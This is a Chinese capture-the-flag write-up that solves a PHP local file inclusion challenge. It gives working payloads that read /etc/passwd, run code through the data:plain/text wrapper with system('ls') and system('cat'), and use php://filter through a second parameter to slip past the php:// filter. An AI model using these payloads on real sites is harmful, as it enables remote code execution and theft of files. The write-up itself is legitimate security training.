0x01
打开题目,代码如下:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>
构造payload简单验证一下是不是文件包含:
?hello=xxx&page=/etc/passwd
结果如下:
可见属于文件包含类型的,但是他这里过滤掉了php://。去查资料发现PHP里面还有data:text/plain
伪协议可以利用,详细的文件包含漏洞利用可以参考这里:文件包含漏洞学习总结
0x02
首先测试data:plain/text
是否可用,使用如下payload:
?hello=&page=data:plain/text,<?php phpinfo();?>
测试结果入下,可见成功运行了,说明我们可以构造任意代码执行。
0x03
接下来尝试列出该目录下的所有文件,payload如下:
?hello=&page=data:plain/text,<php system("ls");?>
输出结果如图:
发现了疑似存有flag的文件:fl4gisisish3r3.php
0x04
下面尝试读取该文件:
?hello=&page=data:plain/text,<?php system("cat fl4gisisish3r3.php");?>
发现没有输出,在这一步我卡了很久,也尝试过使用file://来读取结果还是不可以。
0x05
重新来看题,发现自己忽略了一个地方,就是hello这个参数一直没有用到,再看源码并未对hello做任何过滤,那么用到他的机会来了。我只要把有php"//
的payload放到hello里提交,然后通过data:plain/text构造的代码去包含它,这样不就读取出fl4gisisish3r3.php文件了吗
构造payload:
?hello=php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php&page=data:plain/text,<?php include($_GET['hello']);?>
执行成功,返回:
把返回的Base64(图中PD9wa开头那段)放入解码器中解码就得到flag